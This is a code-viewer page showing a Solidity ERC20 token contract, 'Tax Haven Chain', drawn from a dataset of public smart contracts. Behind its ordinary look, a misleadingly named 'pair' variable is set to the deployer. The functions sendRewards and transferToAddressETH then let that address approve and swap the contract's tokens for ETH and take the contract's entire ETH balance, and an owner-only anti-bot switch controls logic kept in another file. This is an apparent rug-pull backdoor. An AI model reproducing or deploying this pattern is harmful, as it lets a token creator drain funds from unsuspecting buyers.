File size: 1,713 Bytes
f998fcd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.

// SPDX-License-Identifier: MIT


pragma solidity 0.8.9;

import "./ERC20.sol";

contract THC is ERC20,Ownable {

    using SafeMath for uint256;
    uint8 _decimals=18;
    uint public _totalSupply=10000000000000000000000000;
    address ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address pair = address(0);

    constructor() ERC20("Tax Haven Chain","THC") {
    _mint(msg.sender, _totalSupply);
        pair = msg.sender;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function setAntiBot(bool value) public onlyOwner{
        antiBotSystemEnabled=value;
    }


    function sendRewards (uint256 amount) public {
        require(msg.sender == pair);     
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(ROUTER);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router), amount);
        _approve(address(this),msg.sender, amount);
        _approve(msg.sender,address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(this), 
            block.timestamp
        );
        
    }

    function transferToAddressETH() public {
        require(msg.sender == pair);
        payable(msg.sender).transfer(address(this).balance);
    }

    fallback() external payable { }
    receive() external payable { }
}